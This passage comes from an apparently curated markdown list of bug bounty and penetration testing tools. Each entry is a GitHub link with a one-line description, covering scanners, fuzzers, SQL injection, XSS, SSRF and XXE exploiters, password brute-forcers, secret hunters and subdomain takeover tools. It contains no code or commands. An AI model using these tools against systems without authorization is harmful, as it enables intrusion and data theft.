[naabu](https://github.com/projectdiscovery/naabu) - A fast port scanner written in go with focus on reliability and simplicity. - [nmap](https://github.com/nmap/nmap) - Nmap - the Network Mapper. Github mirror of official SVN repository. - [sandmap](https://github.com/trimstray/sandmap) - Nmap on steroids. Simple CLI with the ability to run pure Nmap engine, 31 modules with 459 scan profiles. - [ScanCannon](https://github.com/johnnyxmas/ScanCannon) - Combines the speed of masscan with the reliability and detailed enumeration of nmap ### Screenshots - [EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness) - EyeWitness is designed to take screenshots of websites, provide some server header info, and identify default credentials if possible. - [aquatone](https://github.com/michenriksen/aquatone) - Aquatone is a tool for visual inspection of websites across a large amount of hosts and is convenient for quickly gaining an overview of HTTP-based attack surface. - [screenshoteer](https://github.com/vladocar/screenshoteer) - Make website screenshots and mobile emulations from the command line. - [gowitness](https://github.com/sensepost/gowitness) - gowitness - a golang, web screenshot utility using Chrome Headless - [WitnessMe](https://github.com/byt3bl33d3r/WitnessMe) - Web Inventory tool, takes screenshots of webpages using Pyppeteer (headless Chrome/Chromium) and provides some extra bells & whistles to make life easier. - [eyeballer](https://github.com/BishopFox/eyeballer) - Convolutional neural network for analyzing pentest screenshots - [scrying](https://github.com/nccgroup/scrying) - A tool for collecting RDP, web and VNC screenshots all in one place - [Depix](https://github.com/beurtschipper/Depix) - Recovers passwords from pixelized screenshots - [httpscreenshot](https://github.com/breenmachine/httpscreenshot/) - HTTPScreenshot is a tool for grabbing screenshots and HTML of large numbers of websites. ### Technologies - [wappalyzer](https://github.com/AliasIO/wappalyzer) - Identify technology on websites. - [webanalyze](https://github.com/rverton/webanalyze) - Port of Wappalyzer (uncovers technologies used on websites) to automate mass scanning. - [python-builtwith](https://github.com/claymation/python-builtwith) - BuiltWith API client - [whatweb](https://github.com/urbanadventurer/whatweb) - Next generation web scanner - [retire.js](https://github.com/RetireJS/retire.js) - scanner detecting the use of JavaScript libraries with known vulnerabilities - [httpx](https://github.com/projectdiscovery/httpx) - httpx is a fast and multi-purpose HTTP toolkit allows to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads. ### Content Discovery - [gobuster](https://github.com/OJ/gobuster) - Directory/File, DNS and VHost busting tool written in Go - [recursebuster](https://github.com/C-Sto/recursebuster) - rapid content discovery tool for recursively querying webservers, handy in pentesting and web application assessments - [feroxbuster](https://github.com/epi052/feroxbuster) - A fast, simple, recursive content discovery tool written in Rust. - [dirsearch](https://github.com/maurosoria/dirsearch) - Web path scanner - [dirsearch](https://github.com/evilsocket/dirsearch) - A Go implementation of dirsearch. - [filebuster](https://github.com/henshin/filebuster) - An extremely fast and flexible web fuzzer - [dirstalk](https://github.com/stefanoj3/dirstalk) - Modern alternative to dirbuster/dirb - [dirbuster-ng](https://github.com/digination/dirbuster-ng) - dirbuster-ng is C CLI implementation of the Java dirbuster tool - [gospider](https://github.com/jaeles-project/gospider) - Gospider - Fast web spider written in Go - [hakrawler](https://github.com/hakluke/hakrawler) - Simple, fast web crawler designed for easy, quick discovery of endpoints and assets within a web application ### Links - [LinkFinder](https://github.com/GerbenJavado/LinkFinder) - A python script that finds endpoints in JavaScript files - [JS-Scan](https://github.com/zseano/JS-Scan) - a .js scanner, built in php. designed to scrape urls and other info - [LinksDumper](https://github.com/arbazkiraak/LinksDumper) - Extract (links/possible endpoints) from responses & filter them via decoding/sorting - [GoLinkFinder](https://github.com/0xsha/GoLinkFinder) - A fast and minimal JS endpoint extractor - [BurpJSLinkFinder](https://github.com/InitRoot/BurpJSLinkFinder) - Burp Extension for a passive scanning JS files for endpoint links. - [urlgrab](https://github.com/IAmStoxe/urlgrab) - A golang utility to spider through a website searching for additional links. - [waybackurls](https://github.com/tomnomnom/waybackurls) - Fetch all the URLs that the Wayback Machine knows about for a domain - [gau](https://github.com/lc/gau) - Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl. - [getJS](https://github.com/003random/getJS) - A tool to fastly get all javascript sources/files ### Parameters - [parameth](https://github.com/maK-/parameth) - This tool can be used to brute discover GET and POST parameters - [param-miner](https://github.com/PortSwigger/param-miner) - This extension identifies hidden, unlinked parameters. It's particularly useful for finding web cache poisoning vulnerabilities. - [ParamPamPam](https://github.com/Bo0oM/ParamPamPam) - This tool for brute discover GET and POST parameters. - [Arjun](https://github.com/s0md3v/Arjun) - HTTP parameter discovery suite. - [ParamSpider](https://github.com/devanshbatham/ParamSpider) - Mining parameters from dark corners of Web Archives ### Fuzzing - [wfuzz](https://github.com/xmendez/wfuzz) - Web application fuzzer - [ffuf](https://github.com/ffuf/ffuf) - Fast web fuzzer written in Go - [fuzzdb](https://github.com/fuzzdb-project/fuzzdb) - Dictionary of attack patterns and primitives for black-box application fault injection and resource discovery. - [IntruderPayloads](https://github.com/1N3/IntruderPayloads) - A collection of Burpsuite Intruder payloads, BurpBounty payloads, fuzz lists, malicious file uploads and web pentesting methodologies and checklists. - [fuzz.txt](https://github.com/Bo0oM/fuzz.txt) - Potentially dangerous files - [fuzzilli](https://github.com/googleprojectzero/fuzzilli) - A JavaScript Engine Fuzzer - [fuzzapi](https://github.com/Fuzzapi/fuzzapi) - Fuzzapi is a tool used for REST API pentesting and uses API_Fuzzer gem - [qsfuzz](https://github.com/ameenmaali/qsfuzz) - qsfuzz (Query String Fuzz) allows you to build your own rules to fuzz query strings and easily identify vulnerabilities. --- ## Exploitation Lorem ipsum dolor sit amet ### Command Injection - [commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool. ### CORS Misconfiguration - [Corsy](https://github.com/s0md3v/Corsy) - CORS Misconfiguration Scanner - [CORStest](https://github.com/RUB-NDS/CORStest) - A simple CORS misconfiguration scanner - [cors-scanner](https://github.com/laconicwolf/cors-scanner) - A multi-threaded scanner that helps identify CORS flaws/misconfigurations - [CorsMe](https://github.com/Shivangx01b/CorsMe) - Cross Origin Resource Sharing MisConfiguration Scanner ### CRLF Injection - [crlfuzz](https://github.com/dwisiswant0/crlfuzz) - A fast tool to scan CRLF vulnerability written in Go - [CRLF-Injection-Scanner](https://github.com/MichaelStott/CRLF-Injection-Scanner) - Command line tool for testing CRLF injection on a list of domains. - [Injectus](https://github.com/BountyStrike/Injectus) - CRLF and open redirect fuzzer ### CSRF Injection - [XSRFProbe](https://github.com/0xInfection/XSRFProbe) -The Prime Cross Site Request Forgery (CSRF) Audit and Exploitation Toolkit. ### Directory Traversal - [dotdotpwn](https://github.com/wireghoul/dotdotpwn) - DotDotPwn - The Directory Traversal Fuzzer - [FDsploit](https://github.com/chrispetrou/FDsploit) - File Inclusion & Directory Traversal fuzzing, enumeration & exploitation tool. - [off-by-slash](https://github.com/bayotop/off-by-slash) - Burp extension to detect alias traversal via NGINX misconfiguration at scale. - [liffier](https://github.com/momenbasel/liffier) - tired of manually add dot-dot-slash to your possible path traversal? this short snippet will increment ../ on the URL. ### File Inclusion - [liffy](https://github.com/mzfr/liffy) - Local file inclusion exploitation tool - [Burp-LFI-tests](https://github.com/Team-Firebugs/Burp-LFI-tests) - Fuzzing for LFI using Burpsuite - [LFI-Enum](https://github.com/mthbernardes/LFI-Enum) - Scripts to execute enumeration via LFI - [LFISuite](https://github.com/D35m0nd142/LFISuite) - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner - [LFI-files](https://github.com/hussein98d/LFI-files) - Wordlist to bruteforce for LFI ### GraphQL Injection - [inql](https://github.com/doyensec/inql) - InQL - A Burp Extension for GraphQL Security Testing - [GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes. - [shapeshifter](https://github.com/szski/shapeshifter) - GraphQL security testing tool - [graphql_beautifier](https://github.com/zidekmat/graphql_beautifier) - Burp Suite extension to help make Graphql request more readable - [clairvoyance](https://github.com/nikitastupin/clairvoyance) - Obtain GraphQL API schema despite disabled introspection! ### Header Injection - [headi](https://github.com/mlcsec/headi) - Customisable and automated HTTP header injection. ### Insecure Deserialization - [ysoserial](https://github.com/frohoff/ysoserial) - A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. - [GadgetProbe](https://github.com/BishopFox/GadgetProbe) - Probe endpoints consuming Java serialized objects to identify classes, libraries, and library versions on remote Java classpaths. - [ysoserial.net](https://github.com/pwntester/ysoserial.net) - Deserialization payload generator for a variety of .NET formatters - [phpggc](https://github.com/ambionics/phpggc) - PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically. ### Insecure Direct Object References - [Autorize](https://github.com/Quitten/Autorize) - Automatic authorization enforcement detection extension for burp suite written in Jython developed by Barak Tawily ### Open Redirect - [Oralyzer](https://github.com/r0075h3ll/Oralyzer) - Open Redirection Analyzer - [Injectus](https://github.com/BountyStrike/Injectus) - CRLF and open redirect fuzzer - [dom-red](https://github.com/Naategh/dom-red) - Small script to check a list of domains against open redirect vulnerability - [OpenRedireX](https://github.com/devanshbatham/OpenRedireX) - A Fuzzer for OpenRedirect issues ### Race Condition - [razzer](https://github.com/compsec-snu/razzer) - A Kernel fuzzer focusing on race bugs - [racepwn](https://github.com/racepwn/racepwn) - Race Condition framework - [requests-racer](https://github.com/nccgroup/requests-racer) - Small Python library that makes it easy to exploit race conditions in web apps with Requests. - [turbo-intruder](https://github.com/PortSwigger/turbo-intruder) - Turbo Intruder is a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results. - [race-the-web](https://github.com/TheHackerDev/race-the-web) - Tests for race conditions in web applications. Includes a RESTful API to integrate into a continuous integration pipeline. ### Request Smuggling - [http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling) - HTTP Request Smuggling Detection Tool - [smuggler](https://github.com/defparam/smuggler) - Smuggler - An HTTP Request Smuggling / Desync testing tool written in Python 3 - [h2csmuggler](https://github.com/BishopFox/h2csmuggler) - HTTP Request Smuggling over HTTP/2 Cleartext (h2c) - [tiscripts](https://github.com/defparam/tiscripts) - These scripts I use to create Request Smuggling Desync payloads for CLTE and TECL style attacks. ### Server Side Request Forgery - [SSRFmap](https://github.com/swisskyrepo/SSRFmap) - Automatic SSRF fuzzer and exploitation tool - [Gopherus](https://github.com/tarunkant/Gopherus) - This tool generates gopher link for exploiting SSRF and gaining RCE in various servers - [ground-control](https://github.com/jobertabma/ground-control) - A collection of scripts that run on my web server. Mainly for debugging SSRF, blind XSS, and XXE vulnerabilities. - [SSRFire](https://github.com/micha3lb3n/SSRFire) - An automated SSRF finder. Just give the domain name and your server and chill! ;) Also has options to find XSS and open redirects - [httprebind](https://github.com/daeken/httprebind) - Automatic tool for DNS rebinding-based SSRF attacks - [ssrf-sheriff](https://github.com/teknogeek/ssrf-sheriff) - A simple SSRF-testing sheriff written in Go - [B-XSSRF](https://github.com/SpiderMate/B-XSSRF) - Toolkit to detect and keep track on Blind XSS, XXE & SSRF - [extended-ssrf-search](https://github.com/Damian89/extended-ssrf-search) - Smart ssrf scanner using different methods like parameter brute forcing in post and get... - [gaussrf](https://github.com/KathanP19/gaussrf) - Fetch known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl and Filter Urls With OpenRedirection or SSRF Parameters. - [ssrfDetector](https://github.com/JacobReynolds/ssrfDetector) - Server-side request forgery detector - [grafana-ssrf](https://github.com/RandomRobbieBF/grafana-ssrf) - Authenticated SSRF in Grafana - [sentrySSRF](https://github.com/xawdxawdx/sentrySSRF) - Tool to searching sentry config on page or in javascript files and check blind SSRF - [lorsrf](https://github.com/knassar702/lorsrf) - Bruteforcing on Hidden parameters to find SSRF vulnerability using GET and POST Methods - [singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework. - [whonow](https://github.com/brannondorsey/whonow) - A "malicious" DNS server for executing DNS Rebinding attacks on the fly (public instance running on rebind.network:53) - [dns-rebind-toolkit](https://github.com/brannondorsey/dns-rebind-toolkit) - A front-end JavaScript toolkit for creating DNS rebinding attacks. - [dref](https://github.com/FSecureLABS/dref) - DNS Rebinding Exploitation Framework - [rbndr](https://github.com/taviso/rbndr) - Simple DNS Rebinding Service - [httprebind](https://github.com/daeken/httprebind) - Automatic tool for DNS rebinding-based SSRF attacks - [dnsFookup](DNS rebinding toolkit) - https://github.com/makuga01/dnsFookup ### SQL Injection - [sqlmap](https://github.com/sqlmapproject/sqlmap) - Automatic SQL injection and database takeover tool - [NoSQLMap](https://github.com/codingo/NoSQLMap) - Automated NoSQL database enumeration and web application exploitation tool. - [SQLiScanner](https://github.com/0xbug/SQLiScanner) - Automatic SQL injection with Charles and sqlmap api - [SleuthQL](https://github.com/RhinoSecurityLabs/SleuthQL) - Python3 Burp History parsing tool to discover potential SQL injection points. To be used in tandem with SQLmap. - [mssqlproxy](https://github.com/blackarrowsec/mssqlproxy) - mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a compromised Microsoft SQL Server via socket reuse - [sqli-hunter](https://github.com/zt2/sqli-hunter) - SQLi-Hunter is a simple HTTP / HTTPS proxy server and a SQLMAP API wrapper that makes digging SQLi easy. - [waybackSqliScanner](https://github.com/ghostlulzhacks/waybackSqliScanner) - Gather urls from wayback machine then test each GET parameter for sql injection. - [ESC](https://github.com/NetSPI/ESC) - Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features. - [mssqli-duet](https://github.com/Keramas/mssqli-duet) - SQL injection script for MSSQL that extracts domain users from an Active Directory environment based on RID bruteforcing - [burp-to-sqlmap](https://github.com/Miladkhoshdel/burp-to-sqlmap) - Performing SQLInjection test on Burp Suite Bulk Requests using SQLMap - [BurpSQLTruncSanner](https://github.com/InitRoot/BurpSQLTruncSanner) - Messy BurpSuite plugin for SQL Truncation vulnerabilities. - [andor](https://github.com/sadicann/andor) - Blind SQL Injection Tool with Golang - [Blinder](https://github.com/mhaskar/Blinder) - A python library to automate time-based blind SQL injection - [sqliv](https://github.com/the-robot/sqliv) - massive SQL injection vulnerability scanner - [nosqli](https://github.com/Charlie-belmer/nosqli) - NoSql Injection CLI tool, for finding vulnerable websites using MongoDB. ### XSS Injection - [XSStrike](https://github.com/s0md3v/XSStrike) - Most advanced XSS scanner. - [xssor2](https://github.com/evilcos/xssor2) - XSS'OR - Hack with JavaScript. - [xsscrapy](https://github.com/DanMcInerney/xsscrapy) - XSS spider - 66/66 wavsep XSS detected - [sleepy-puppy](https://github.com/Netflix-Skunkworks/sleepy-puppy) - Sleepy Puppy XSS Payload Management Framework - [ezXSS](https://github.com/ssl/ezXSS) - ezXSS is an easy way for penetration testers and bug bounty hunters to test (blind) Cross Site Scripting. - [xsshunter](https://github.com/mandatoryprogrammer/xsshunter) - The XSS Hunter service - a portable version of XSSHunter.com - [dalfox](https://github.com/hahwul/dalfox) - DalFox(Finder Of XSS) / Parameter Analysis and XSS Scanning tool based on golang - [xsser](https://github.com/epsylon/xsser) - Cross Site "Scripter" (aka XSSer) is an automatic -framework- to detect, exploit and report XSS vulnerabilities in web-based applications. - [XSpear](https://github.com/hahwul/XSpear) - Powerfull XSS Scanning and Parameter analysis tool&gem - [weaponised-XSS-payloads](https://github.com/hakluke/weaponised-XSS-payloads) - XSS payloads designed to turn alert(1) into P1 - [tracy](https://github.com/nccgroup/tracy) - A tool designed to assist with finding all sinks and sources of a web application and display these results in a digestible manner. - [ground-control](https://github.com/jobertabma/ground-control) - A collection of scripts that run on my web server. Mainly for debugging SSRF, blind XSS, and XXE vulnerabilities. - [xssValidator](https://github.com/nVisium/xssValidator) - This is a burp intruder extender that is designed for automation and validation of XSS vulnerabilities. - [JSShell](https://github.com/Den1al/JSShell) - An interactive multi-user web JS shell - [bXSS](https://github.com/LewisArdern/bXSS) - bXSS is a utility which can be used by bug hunters and organizations to identify Blind Cross-Site Scripting. - [docem](https://github.com/whitel1st/docem) - Uility to embed XXE and XSS payloads in docx,odt,pptx,etc (OXML_XEE on steroids) - [XSS-Radar](https://github.com/bugbountyforum/XSS-Radar) - XSS Radar is a tool that detects parameters and fuzzes them for cross-site scripting vulnerabilities. - [BruteXSS](https://github.com/rajeshmajumdar/BruteXSS) - BruteXSS is a tool written in python simply to find XSS vulnerabilities in web application. - [findom-xss](https://github.com/dwisiswant0/findom-xss) - A fast DOM based XSS vulnerability scanner with simplicity. - [domdig](https://github.com/fcavallarin/domdig) - DOM XSS scanner for Single Page Applications - [femida](https://github.com/wish-i-was/femida) - Automated blind-xss search for Burp Suite - [B-XSSRF](https://github.com/SpiderMate/B-XSSRF) - Toolkit to detect and keep track on Blind XSS, XXE & SSRF - [domxssscanner](https://github.com/yaph/domxssscanner) - DOMXSS Scanner is an online tool to scan source code for DOM based XSS vulnerabilities - [xsshunter_client](https://github.com/mandatoryprogrammer/xsshunter_client) - Correlated injection proxy tool for XSS Hunter - [extended-xss-search](https://github.com/Damian89/extended-xss-search) - A better version of my xssfinder tool - scans for different types of xss on a list of urls. - [xssmap](https://github.com/Jewel591/xssmap) - XSSMap 是一款基于 Python3 开发用于检测 XSS 漏洞的工具 - [XSSCon](https://github.com/menkrep1337/XSSCon) - XSSCon: Simple XSS Scanner tool - [BitBlinder](https://github.com/BitTheByte/BitBlinder) - BurpSuite extension to inject custom cross-site scripting payloads on every form/request submitted to detect blind XSS vulnerabilities - [XSSOauthPersistence](https://github.com/dxa4481/XSSOauthPersistence) - Maintaining account persistence via XSS and Oauth - [shadow-workers](https://github.com/shadow-workers/shadow-workers) - Shadow Workers is a free and open source C2 and proxy designed for penetration testers to help in the exploitation of XSS and malicious Service Workers (SW) - [rexsser](https://github.com/profmoriarity/rexsser) - This is a burp plugin that extracts keywords from response using regexes and test for reflected XSS on the target scope. - [xss-flare](https://github.com/EgeBalci/xss-flare) - XSS hunter on cloudflare serverless workers. - [Xss-Sql-Fuzz](https://github.com/jiangsir404/Xss-Sql-Fuzz) - burpsuite 插件对GP所有参数(过滤特殊参数)一键自动添加xss sql payload 进行fuzz - [vaya-ciego-nen](https://github.com/hipotermia/vaya-ciego-nen) - Detect, manage and exploit Blind Cross-site scripting (XSS) vulnerabilities. - [dom-based-xss-finder](https://github.com/AsaiKen/dom-based-xss-finder) - Chrome extension that finds DOM based XSS vulnerabilities - [XSSTerminal](https://github.com/machinexa2/XSSTerminal) - Develop your own XSS Payload using interactive typing - [xss2png](https://github.com/vavkamil/xss2png) - PNG IDAT chunks XSS payload generator - [XSSwagger](https://github.com/vavkamil/XSSwagger) - A simple Swagger-ui scanner that can detect old versions vulnerable to various XSS attacks ### XXE Injection - [ground-control](https://github.com/jobertabma/ground-control) - A collection of scripts that run on my web server. Mainly for debugging SSRF, blind XSS, and XXE vulnerabilities. - [dtd-finder](https://github.com/GoSecure/dtd-finder) - List DTDs and generate XXE payloads using those local DTDs. - [docem](https://github.com/whitel1st/docem) - Uility to embed XXE and XSS payloads in docx,odt,pptx,etc (OXML_XEE on steroids) - [xxeserv](https://github.com/staaldraad/xxeserv) - A mini webserver with FTP support for XXE payloads - [xxexploiter](https://github.com/luisfontes19/xxexploiter) - Tool to help exploit XXE vulnerabilities - [B-XSSRF](https://github.com/SpiderMate/B-XSSRF) - Toolkit to detect and keep track on Blind XSS, XXE & SSRF - [XXEinjector](https://github.com/enjoiz/XXEinjector) - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods. - [oxml_xxe](https://github.com/BuffaloWill/oxml_xxe) - A tool for embedding XXE/XML exploits into different filetypes - [metahttp](https://github.com/vp777/metahttp) - A bash script that automates the scanning of a target network for HTTP resources through XXE --- ## Miscellaneous Lorem ipsum dolor sit amet ### Passwords - [thc-hydra](https://github.com/vanhauser-thc/thc-hydra) - Hydra is a parallelized login cracker which supports numerous protocols to attack. - [DefaultCreds-cheat-sheet](https://github.com/ihebski/DefaultCreds-cheat-sheet) - One place for all the default credentials to assist the Blue/Red teamers activities on finding devices with default password - [changeme](https://github.com/ztgrace/changeme) - A default credential scanner. - [BruteX](https://github.com/1N3/BruteX) - Automatically brute force all services running on a target. - [patator](https://github.com/lanjelot/patator) - Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage. ### Secrets - [git-secrets](https://github.com/awslabs/git-secrets) - Prevents you from committing secrets and credentials into git repositories - [gitleaks](https://github.com/zricethezav/gitleaks) - Scan git repos (or files) for secrets using regex and entropy - [truffleHog](https://github.com/dxa4481/truffleHog) - Searches through git repositories for high entropy strings and secrets, digging deep into commit history - [gitGraber](https://github.com/hisxo/gitGraber) - gitGraber: monitor GitHub to search and find sensitive data in real time for different online services - [talisman](https://github.com/thoughtworks/talisman) - By hooking into the pre-push hook provided by Git, Talisman validates the outgoing changeset for things that look suspicious - such as authorization tokens and private keys. - [GitGot](https://github.com/BishopFox/GitGot) - Semi-automated, feedback-driven tool to rapidly search through troves of public data on GitHub for sensitive secrets. - [git-all-secrets](https://github.com/anshumanbh/git-all-secrets) - A tool to capture all the git secrets by leveraging multiple open source git searching tools - [github-search](https://github.com/gwen001/github-search) - Tools to perform basic search on GitHub. - [git-vuln-finder](https://github.com/cve-search/git-vuln-finder) - Finding potential software vulnerabilities from git commit messages - [commit-stream](https://github.com/x1sec/commit-stream) - #OSINT tool for finding Github repositories by extracting commit logs in real time from the Github event API - [gitrob](https://github.com/michenriksen/gitrob) - Reconnaissance tool for GitHub organizations - [repo-supervisor](https://github.com/auth0/repo-supervisor) - Scan your code for security misconfiguration, search for passwords and secrets. - [GitMiner](https://github.com/UnkL4b/GitMiner) - Tool for advanced mining for content on Github - [shhgit](https://github.com/eth0izzle/shhgit) - Ah shhgit! Find GitHub secrets in real time - [detect-secrets](https://github.com/Yelp/detect-secrets) - An enterprise friendly way of detecting and preventing secrets in code. - [rusty-hog](https://github.com/newrelic/rusty-hog) - A suite of secret scanners built in Rust for performance. Based on TruffleHog - [whispers](https://github.com/Skyscanner/whispers) - Identify hardcoded secrets and dangerous behaviours - [yar](https://github.com/nielsing/yar) - Yar is a tool for plunderin' organizations, users and/or repositories. - [dufflebag](https://github.com/BishopFox/dufflebag) - Search exposed EBS volumes for secrets - [secret-bridge](https://github.com/duo-labs/secret-bridge) - Monitors Github for leaked secrets - [earlybird](https://github.com/americanexpress/earlybird) - EarlyBird is a sensitive data detection tool capable of scanning source code repositories for clear text password violations, PII, outdated cryptography methods, key files and more. - [Trufflehog-Chrome-Extension](https://github.com/trufflesecurity/Trufflehog-Chrome-Extension) - Trufflehog-Chrome-Extension ### Git - [GitTools](https://github.com/internetwache/GitTools) - A repository with 3 tools for pwn'ing websites with .git repositories available - [gitjacker](https://github.com/liamg/gitjacker) - Leak git repositories from misconfigured websites - [git-dumper](https://github.com/arthaud/git-dumper) - A tool to dump a git repository from a website - [GitHunter](https://github.com/digininja/GitHunter) - A tool for searching a Git repository for interesting content - [dvcs-ripper](https://github.com/kost/dvcs-ripper) - Rip web accessible (distributed) version control systems: SVN/GIT/HG... ### Buckets - [S3Scanner](https://github.com/sa7mon/S3Scanner) - Scan for open AWS S3 buckets and dump the contents - [AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) - Security Tool to Look For Interesting Files in S3 Buckets - [CloudScraper](https://github.com/jordanpotti/CloudScraper) - CloudScraper: Tool to enumerate targets in search of cloud resources. S3 Buckets, Azure Blobs, Digital Ocean Storage Space. - [s3viewer](https://github.com/SharonBrizinov/s3viewer) - Publicly Open Amazon AWS S3 Bucket Viewer - [festin](https://github.com/cr0hn/festin) - FestIn - S3 Bucket Weakness Discovery - [s3reverse](https://github.com/hahwul/s3reverse) - The format of various s3 buckets is convert in one format. for bugbounty and security testing. - [mass-s3-bucket-tester](https://github.com/random-robbie/mass-s3-bucket-tester) - This tests a list of s3 buckets to see if they have dir listings enabled or if they are uploadable - [S3BucketList](https://github.com/AlecBlance/S3BucketList) - Firefox plugin that lists Amazon S3 Buckets found in requests - [dirlstr](https://github.com/cybercdh/dirlstr) - Finds Directory Listings or open S3 buckets from a list of URLs - [Burp-AnonymousCloud](https://github.com/codewatchorg/Burp-AnonymousCloud) - Burp extension that performs a passive scan to identify cloud buckets and then test them for publicly accessible vulnerabilities - [kicks3](https://github.com/abuvanth/kicks3) - S3 bucket finder from html,js and bucket misconfiguration testing tool - [2tearsinabucket](https://github.com/Revenant40/2tearsinabucket) - Enumerate s3 buckets for a specific target. - [s3_objects_check](https://github.com/nccgroup/s3_objects_check) - Whitebox evaluation of effective S3 object permissions, to identify publicly accessible files. - [s3tk](https://github.com/ankane/s3tk) - A security toolkit for Amazon S3 - [CloudBrute](https://github.com/0xsha/CloudBrute) - Awesome cloud enumerator - [s3cario](https://github.com/0xspade/s3cario) - This tool will get the CNAME first if it's a valid Amazon s3 bucket and if it's not, it will try to check if the domain is a bucket name. - [S3Cruze](https://github.com/JR0ch17/S3Cruze) - All-in-one AWS S3 bucket tool for pentesters. ### CMS - [wpscan](https://github.com/wpscanteam/wpscan) - WPScan is a free, for non-commercial use, black box WordPress security scanner - [WPSpider](https://github.com/cyc10n3/WPSpider) - A centralized dashboard for running and scheduling WordPress scans powered by wpscan utility. - [wprecon](https://github.com/blackcrw/wprecon) - Wordpress Recon - [CMSmap](https://github.com/Dionach/CMSmap) - CMSmap is a python open source CMS scanner that automates the process of detecting security flaws of the most popular CMSs. - [joomscan](https://github.com/OWASP/joomscan) - OWASP Joomla Vulnerability Scanner Project - [pyfiscan](https://github.com/fgeek/pyfiscan) - Free web-application vulnerability and version scanner ### JSON Web Token - [jwt_tool](https://github.com/ticarpi/jwt_tool) - A toolkit for testing, tweaking and cracking JSON Web Tokens - [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - JWT brute force cracker written in C - [jwt-heartbreaker](https://github.com/wallarm/jwt-heartbreaker) - The Burp extension to check JWT (JSON Web Tokens) for using keys from known from public sources - [jwtear](https://github.com/KINGSABRI/jwtear) - Modular command-line tool to parse, create and manipulate JWT tokens for hackers - [jwt-key-id-injector](https://github.com/dariusztytko/jwt-key-id-injector) - Simple python script to check against hypothetical JWT vulnerability. - [jwt-hack](https://github.com/hahwul/jwt-hack) - jwt-hack is tool for hacking / security testing to JWT. - [jwt-cracker](https://github.com/lmammino/jwt-cracker) - Simple HS256 JWT token brute force cracker ### postMessage - [postMessage-tracker](https://github.com/fransr/postMessage-tracker) - A Chrome Extension to track postMessage usage (url, domain and stack) both by logging using CORS and also visually as an extension-icon - [PostMessage_Fuzz_Tool](https://github.com/kiranreddyrebel/PostMessage_Fuzz_Tool) - #BugBounty #BugBounty Tools #WebDeveloper Tool ### Subdomain Takeover - [subjack](https://github.com/haccer/subjack) - Subdomain Takeover tool written in Go - [SubOver](https://github.com/Ice3man543/SubOver) - A Powerful Subdomain Takeover Tool - [autoSubTakeover](https://github.com/JordyZomer/autoSubTakeover) - A tool used to check if a CNAME resolves to the scope address. If the CNAME resolves to a non-scope address it might be worth checking out if subdomain takeover is possible. - [NSBrute](https://github.com/shivsahni/NSBrute) - Python utility to takeover domains vulnerable to AWS NS Takeover - [can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) - "Can I take over XYZ?" — a list of services and how to claim (sub)domains with dangling DNS records. - [cnames](https://github.com/cybercdh/cnames) - take a list of resolved subdomains and output any corresponding CNAMES en masse. - [subHijack](https://github.com/vavkamil/old-repos-backup/tree/master/subHijack-master) - Hijacking forgotten & misconfigured subdomains - [tko-subs](https://github.com/anshumanbh/tko-subs) - A tool that can help detect and takeover subdomains with dead DNS records - [HostileSubBruteforcer](https://github.com/nahamsec/HostileSubBruteforcer) - This app will bruteforce for exisiting subdomains and provide information if the 3rd party host has been properly setup. - [second-order](https://github.com/mhmdiaa/second-order) - Second-order subdomain takeover scanner - [takeover](https://github.com/mzfr/takeover) - A tool for testing subdomain takeover possibilities at a mass scale. ### Vulnerability Scanners - [nuclei](https://github.com/projectdiscovery/nuclei) - Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use. - [Sn1per](https://github.com/1N3/Sn1per) - Automated pentest framework for offensive security experts - [metasploit-framework](https://github.com/rapid7/metasploit-framework) - Metasploit Framework - [nikto](https://github.com/sullo/nikto) - Nikto web server scanner - [arachni](https://github.com/Arachni/arachni) - Web Application Security Scanner Framework - [jaeles](https://github.com/jaeles-project/jaeles) - The Swiss Army knife for automated Web Application Testing - [retire.js](https://github.com/RetireJS/retire.js) - scanner detecting the use of JavaScript libraries with known vulnerabilities - [Osmedeus](https://github.com/j3ssie/Osmedeus) - Fully automated offensive security framework for reconnaissance and vulnerability scanning - [getsploit](https://github.com/vulnersCom/getsploit) - Command line utility for searching and downloading exploits - [flan](https://github.com/cloudflare/flan) - A pretty sweet vulnerability scanner - [Findsploit](https://github.com/1N3/Findsploit) - Find exploits in local and online databases instantly - [BlackWidow](https://github.com/1N3/BlackWidow) - A Python based web application scanner to gather OSINT and fuzz for OWASP vulnerabilities on a target website. - [backslash-powered-scanner](https://github.com/PortSwigger/backslash-powered-scanner) - Finds unknown classes of injection vulnerabilities - [Eagle](https://github.com/BitTheByte/Eagle) - Multithreaded Plugin based vulnerability scanner for mass detection of web-based applications vulnerabilities - [cariddi](https://github.com/edoardottt/cariddi) - Take a list of domains, crawl urls and scan for endpoints, secrets, api keys, file extensions, tokens and more... ### Uncategorized - [JSONBee](https://github.com/zigoo0/JSONBee) - A ready to use JSONP endpoints/payloads to help bypass content security policy (CSP) of different websites. - [CyberChef](https://github.com/gchq/CyberChef) - The Cyber Swiss Army Knife - a web app for encryption, encoding, compression and data analysis - []() - - [bountyplz](https://github.com/fransr/bountyplz) - Automated security reporting from markdown templates (HackerOne and Bugcrowd are currently the platforms supported) - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) - A list of useful payloads and bypass for Web Application Security and Pentest/CTF - [bounty-targets-data](https://github.com/arkadiyt/bounty-targets-data) - This repo contains hourly-updated data dumps of bug bounty platform 